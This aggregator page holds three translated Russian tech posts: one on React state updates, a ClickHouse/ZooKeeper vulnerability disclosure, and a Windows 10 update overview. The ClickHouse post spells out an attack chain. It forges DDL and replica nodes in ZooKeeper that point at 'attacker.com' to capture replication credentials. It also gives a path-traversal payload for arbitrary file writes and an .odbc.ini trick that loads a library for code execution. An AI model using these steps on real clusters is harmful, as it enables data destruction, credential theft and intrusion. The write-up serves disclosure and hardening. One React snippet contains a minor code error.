Русский
Русский
English
Статистика
Реклама

Update

Перевод Заметка о том, как React обновляет состояние

22.12.2020 14:23:50 | Автор: admin


Доброго времени суток, друзья!

Хук useState() управляет состоянием в функциональных компонентах React. В классовых компонентах состояние хранится в this.state, а для обновления вызывается метод this.setState().

Обычно, в работе с состоянием нет ничего сложного. Тем не менее, существует один важный нюанс, связанный с его обновлением.

Каким образом состояние обновляется: незамедлительно (синхронно) или отложенно (асинхронно)? Читайте дальше, чтобы узнать ответ.

1. Обноление состояния с помощью useState()


Допустим у нас имеется такой функциональный компонент:

import { useState } from 'react'function DoubleIncreaser() {  const [count, setCount] = useState(0)  const doubleIncreaseHandler = () => {    setCount(count + 1)    setCount(count + 1)  }  return (    <>      <button onClick={doubleIncreaseHandler}>        Double Increase      </button>      <div>Count: {count}</div>    </>  )}

const [count, setCount] = useState(0) определяет начальное состояние компонента. count переменная, содержащая текущее состояние, а setCount функция обновления этого состояния.

Компонент содержит кнопку Double Increase. При нажатии на эту кнопку вызывается обработчик doubleIncreaseHandler, осуществляющий два последовательных обновления count: setCount(count + 1) и затем еще раз setCount(count + 1).

Каким будет состояние компонента после нажатия кнопки, 1 или 2?

Откройте это демо и нажмите на кнопку. Значение count будет увеличиваться на 1 после каждого клика.

Когда setCount(count + 1) обновляет состояние, значение count не изменяется сразу. Вместо этого, React планирует обновление состояния и при следующем рендеринге в выражении const [count, setCount] = useState(0) хук присваивает count новое значение.

Например: если значением переменной count является 0, то вызов setCount(count + 1); setCount(count + 1) оценивается как setCount(0 + 1); setCount(0 + 1) что приводит к 1 как значению состояния при следующем рендеринге.

Таким образом, обновление состояния с помощью setValue(newValue) в выражении [value, setValue] = useState() осуществляется асинхронно.

Однако, функция обновления состояния может принимать коллбэк в качестве аргумента для вычисления нового состояния на основе текущего. В нашем случае мы можем использовать setCount(actualCount => actualCount + 1):

import { useState } from 'react'function DoubleIncreaser() {  const [count, setCount] = useState(0)  const doubleIncreaseHandler = () => {    setCount(actualCount => actualCount + 1)    setCount(actualCount => actualCount + 1)  }  return (    <>      <button onClick={doubleIncreaseHandler}>        Double Increase      </button>      <div>Count: {count}</div>    </>  )}

При обновлении состояния с помощью такой функции аргумент actualCount будет содержать актуальное значение состояния.

Откройте это демо и нажмите на кнопку. Значение count увеличится до 2, как и ожидается.

Разумеется, мы всегда можем создать промежуточную переменную:

import { useState } from 'react'function DoubleIncreaser() {  const [count, setCount] = useState(0)  const doubleIncrease = () => {    let actualCount = count    actualCount = actualCount + 1    actualCount = actualCount + 1    setCount(actualCount)  }  return (    <>      <button onClick={this.doubleIncrease}>        Double Increase      </button>      <div>Count: {count}</div>    </>  )}

let actualCount = count это промежуточная переменная, которую можно обновлять как угодно. Эта переменная используется для обновления состояния с помощью setCount(actualCount).

2. Состояние иммутабельно (неизменяемо) и доступно только для чтения


Если вы забудете о том, что состояние обновляется при следующем рендеринге, вы можете попытаться прочитать значение сразу после его изменения. К сожалению, у вас ничего не выйдет:

function FetchUsers() {  const [users, setUsers] = useState([])  useEffect(() => {    const startFetching = async () => {      const response = await fetch('/users')      const fetchedUsers = await response.json()      setUsers(fetchedUsers)      console.log(users)        // => []      console.log(fetchedUsers) // => ['John', 'Jane', 'Alice', 'Bob']    }    startFetching()  }, [])  return (    <ul>      {users.map(user => <li>{user}</li>)}    </ul>  )}

Компонент FetchUsers отправляет запрос при монтировании startFetching().

При получении данных setUsers(fetchedUsers) обновляет состояние. Тем не менее, изменения не происходят сразу.

Переменная users иммутабельна и доступна только для чтения. Только хук useState() может присвоить ей новое значение. Напрямую этого делать нельзя:

  function FetchUsers() {    const [users, setUsers] = useState([])    useEffect(() => {      const startFetching = async () => {        const response = await fetch('/users')        const fetchedUsers = await response.json()        users = fetchedUsers       // Неправильно! users доступна только для чтения        users.push(...fetchedUsers) // Неправильно! users иммутабельна        setUsers(fetchedUsers)     // Правильно!      }      startFetching()    }, [])    return (      <ul>        {users.map(user => <li>{user}</li>)}      </ul>    )  }

3. Обновление состояния в классовом компоненте


Асинхронное обновление состояния характерно и для классовых компонентов.

Рассмотрим пример:

import { Component } from 'react';class DoubleIncreaser extends Component {  state = {    count: 0  };  render() {    return (      <>        <button onClick={this.doubleIncrease}>          Double Increase        </button>        <div>Count: {this.state.count}</div>      </>    );  }  doubleIncrease = () => {    // Работает!    this.setState(({ count }) => ({      count: count + 1    }));    this.setState(({ count }) => ({      count: count + 1    }));    // Не работает!    // this.setState({ count: this.state.count + 1 });    // this.setState({ count: this.state.count + 1 });  }}

Обратите внимание на обработчик doubleIncrease(): для обновления состояния в нем используется функция обратного вызова.

Откройте это демо и нажмите на кнопку. Значение this.state увеличится до 2.

В классовых компонентах this.state также не обновляется моментально. При вызове this.setState(newState) React откладывает обновление this.state до следующего рендеринга.

Таким образом, this.setState(newState) обновляет this.state асинхронно.

4. Заключение


Хук useState() и this.setState() (внутри классового компонента) обновляют значение переменной и состояние компонента асинхронно.

Запомните простое правило: вызов сеттера setState(newValue) хука useState() (или this.setState()) обновляет состояние не сразу, а при очередном рендеринге компонента.

Вы заметили, что React теперь достаточно импортировать только один раз (в index.js)? В компонентах этого делать больше не нужно.

Благодарю за внимание и хорошего дня.
Подробнее..

Перевод Зачем нужно держать клетки в зоопарке закрытыми

06.08.2020 16:13:59 | Автор: admin


В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.


ClickHouse это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.


Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.


Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.


При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK для них узлы создаются в листе /clickhouse/task_queue/ddl.


Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:


version: 1query: DROP TABLE xxx ON CLUSTER test;hosts: ['host1:9000', 'host2:9000']

а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.


Звучит страшно? Но где же атакующий сможет получить адреса серверов?


Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX имя реплики, foobar имя таблицы):


CREATE TABLE foobar(    `action_id` UInt32 DEFAULT toUInt32(0),    `status` String)ENGINE=ReplicatedMergeTree('/clickhouse/tables/01-01/foobar/', 'chXX')ORDER BY action_id;

будут созданы узлы columns и metadata.


Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:


host: chXX-addressport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?


Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.


Содержимое /clickhouse/tables/0101/foobar/replicas/attacker/host:


host: attacker.comport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):


format version: 4create_time: 2019-07-31 09:37:42source replica: attackerblock_id: all_7192349136365807998_13893666115934954449getall_0_0_2

где source_replica имя реплики атакующего, созданной на предыдущем шаге, block_id идентификатор блока данных, get команда "get block" (а [тут команды для других операций](
)).


Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:


POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1Host: attacker.comAuthorization: XXX

где XXX и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.


Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.


https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png
код обработки репликации


Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.


Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):


flags каталог для записи флагов, используемых при восстановлении после потери данных;
tmp каталог хранения временных файлов;
user_files операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata файлы sql с описаниями таблиц;
preprocessed_configs обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).


Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:


action_id.binaction_id.mrk2checksums.txtcolumns.txtcount.txtprimary.idxstatus.binstatus.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.


Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):


\x01\x00\x00\x00\x00\x00\x00\x00\x24../../../../../../../../../tmp/pwned\x12\x00\x00\x00\x00\x00\x00\x00hellofromzookeeper

а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.


Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).


Внешние словари в RCE


В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.


ODBC в RCE


При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).


ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?


Давайте создадим файл ~/.odbc.ini с таким содержимым:


[lalala]Driver=/var/lib/clickhouse/user_files/test.so

затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).


Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!

Подробнее..

Что нового в Windows 10 October 2020 Update

27.10.2020 10:11:01 | Автор: admin


Этот год продолжает приносить перемены для многих из нас. Новое в том, как мы взаимодействуем друг с другом, как работаем, как учимся и даже как развлекаемся. И эти перемены уже ощущаются как что-то постоянное. Дети возвращаются в школу, но и адаптируются к дистанционному обучению и удаленному общению со своими учителями и одноклассниками, а рабочие места становятся гибридными. В таких условиях компьютер стал важным устройством, позволяющим нам продолжать заниматься тем, чем мы занимались раньше: он стал нашим офисом, нашим классом, даже нашей игровой площадкой. Мы вместе с вами живем в этих условиях, адаптируемся к ним и учимся на новом опыте, и наша приверженность вам, нашим клиентам, остается неизменной. Мы знаем, что вы рассчитываете на нас и на Windows, чтобы не терять связь с тем, что важно.

Выполняя это обязательство, мы рады поделиться функциями и улучшениями, которые появятся в обновлении Windows 10 October 2020 Update, о многих из которых просили вы сами, чтобы работать в Windows было еще удобнее. Среди новых функций любимая пользователями комбинация клавиш Alt + Tab, которая теперь позволяет получать доступ к вкладкам Microsoft Edge, оптимизированный дизайн меню Пуск и многое другое. Если вы хотите узнать, как получить обновление,прочитайте эту статью (в англоязычном блоге).



Новшества в Windows 10 October 2020 Update


Microsoft Edge


С этим обновлением поставляется самая свежая и лучшая версиянового браузера Microsoft Edge. С момента запуска в январе мы наблюдаем феноменальный рост использования и очень рады, что этот браузер включен в обновление. Если вы еще не пробовали новый Microsoft Edge, вам стоит запустить его и попробовать, потому что мы создали лучший браузер, обеспечивающий более высокую производительность и конфиденциальность, и приносящий больше пользы во время просмотра веб-страниц. Если вы уже используете наш новый браузер, значит, вы на собственном опыте убедились, насколько он быстрый, а мы добавляем новые замечательные функции каждые шесть недель.

ПопробуйтеКоллекции, с помощью которых можно легко сохранять найденный в Интернете контент и делиться им. Коллекции идеально подходят для праздничных покупок, школьных исследований и даже планирования похода следующей весной. Они работают и на ПК, и на мобильных устройствах, поэтому всегда будут синхронизированы. Мы также добавили функцию сравнения цен, чтобы вы могли легко найти лучшую цену, когда добавляете товар в коллекцию, это очень пригодится для похода по магазинам перед праздниками. И мы с гордостью можем сказать, что Microsoft Edge лучший браузер для совершения новогодних покупок в этом году.



В этом обновлении вы также получаете следующие новые функции, доступные только в Microsoft Edge для Windows 10:

  • Alt+Tab= быстрый способ перехода к приложениям и вкладкам браузера.С помощью этого удобного сочетания клавиш вы теперь можете легко переходить не только к приложениям, которые запустили на рабочем столе, но и к открытым в Microsoft Edge вкладкам.
  • Все вкладки, которые вы искали.Если вы любите закреплять избранные веб-сайты на панели задач, вам понравится эта новая функция. Теперь, если навести указатель мыши на значок веб-сайта, вы увидите все открытые вкладки этого сайта.

Обновления меню Пуск, панели задач и многого другого




  • Новый Пуск.Дизайн меню Пуск стал более упорядоченным. Единообразный, полупрозрачный фон плиток создает прекрасную сцену для переработанных иконок приложений, таких какКалькулятор,ПочтаиКалендарь. Этот улучшенный дизайн отлично смотрится и в темной, и в светлой теме, но если вы хотите добавить цвета, то сначала установите темную тему Windows, а затем включите параметр отображения контрастного цвета Show accent color on the following surfaces для элемента Start, taskbar, and action center (Меню Пуск, панель задач и центр уведомлений) в разделеПараметры > Персонализация > Цвет(Settings > Personalization > Color), чтобы элегантно применить выбранный цвет к плиткам и рамке меню Пуск.
  • Улучшенные Параметры.Раздел Параметры продолжает становиться более удобным местом для доступа к настройкам безопасности и устройства. Кроме прочего, теперь в разделеПараметры> Система> Экран, Дополнительные параметры экрана(Settings > System > Display, Advanced display settings) можно изменить частоту обновления экрана. Более высокая частота обновления обеспечивает более плавное движение визуальных элементов, и в зависимости от того, какой у вас экран или монитор, вы можете улучшить отображение контента на нем, что особенно пригодится для игр.
  • Устранение всплывающих уведомлений на устройствах 2-в-1.Устройства 2-в-1 теперь сами по умолчанию переключаются в новый режим планшета, не отвлекая вас, без всплывающего уведомления с просьбой переключиться в этот режим, когда вы отсоединяете клавиатуру.
  • Заметные уведомления.Теперь в верхней части уведомлений отображаются логотипы приложений, чтобы было проще понять, что за уведомление вы получили. А новая функция X marks the spot позволяет быстро кликнуть, закрыть уведомление и вернуться к тому, чем вы занимались.
  • Панель задач, настроенная по вашему вкусу.У вас новый ПК под управлением Windows? Вам понравится более понятное, персонализированное по умолчанию окружение, в котором панель задач настроена специально для ваших нужд, менее загромождена и содержит больше нужных вам элементов. (Эта возможность предоставляется при создании новой учетной записи или при первом входе в систему).

Обновления для коммерческих пользователей и пользователей из образовательных учреждений


Кроме улучшенного взаимодействия с системой, коммерческие пользователи и пользователи из образовательной сферы получают повышенную безопасность и усовершенствованное управление. Обновления функций включают более детальный контроль управления мобильными устройствами (Mobile Device Management, MDM)1, повышенную безопасность входа и защиту на основе виртуализации для Microsoft Edge и Office. ИТ-специалисты и конечные пользователи, работающие или обучающиеся удаленно или на местах, получат более простую и безопасную систему, выбрав последнюю версию Windows 10 Pro или Windows 10 Education.

  • Упрощенное управление устройствами.Система управления мобильными устройствами (Mobile Device Management, MDM)[1]теперь включает политики локальных пользователей и групп, которые дают администраторам те же возможности, что и групповая политика на локальных системах.
  • Безопасный биометрический вход.Благодаря усиленной системе безопасности входа[2]Windows Hello[3]теперь предлагает дополнительную защиту на основе виртуализации для определенных датчиков распознавания лица и отпечатков пальцев, которая позволяет обеспечить безопасность и изолировать данные биометрической аутентификации пользователя.
  • Более надежная защита приложений.Windows Defender Application Guard (WDAG)[4]теперь помогает защищать Microsoft 3654и Microsoft Edge с помощью уникальной стратегии аппаратной изоляции. WDAG защищает корпоративные данные, открывая сайты и файлы Office из ненадежных источников в виртуализированном контейнере.



  • Персонализированная страница вкладок в новомMicrosoftEdge. ИТ-администраторы могут помочь сотрудникам, учащимся и учителям персонализировать их новую страницу вкладок в Microsoft 365[5]. Теперь люди смогут быстрее получать доступ к своим файлам и избранным приложениям Microsoft 365, просто открывая новую вкладку в браузере.

Подробнее о том, что это обновление предлагает ИТ-специалистам,читайте здесь.

Мы по-прежнему считаем, что Windows это самая мощная, продуктивная и безопасная система, с помощью которой каждый из нас может наилучшим образом работать, развлекаться, учиться и общаться. Мы рады поделиться новейшими функциями, которые предлагает обновление Windows 10 October 2020 Update. Мы также хотим сказать большое спасибо нашему сообществу участников программы предварительной оценки Windows, которое предоставляло важные отзывы в процессе разработки этого обновления.



[1]Требуется Azure AD или Microsoft 365. Продается отдельно. Подробнее об управлении мобильными устройствами: docs.microsoft.com/windows/client-management/mdm

[2]Для усиленной безопасности входа требуются специализированные аппаратные и программные компоненты, которые можно использовать на устройствах, поставляемых с Windows 10 October 2020 Update и настроенных производителем. Документация будет доступна позже в этом году.

[3]Для Windows Hello со специализированным биометрическим оборудованием требуется сканер отпечатков пальцев, ИК-датчик с подсветкой или другой биометрический датчик. Для аппаратной защиты учетных данных и ключей Windows Hello требуется TPM 1.2 или более поздней версии. Если модуль TPM отсутствует или не настроен, защита данных и ключей будет программной. Для защиты ключей на основе TPM требуется TPM 1.2 или более поздней версии.

[4]Только для Windows 10 Enterprise.

[5]Требуется подписка Microsoft 365 E5; продается отдельно.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru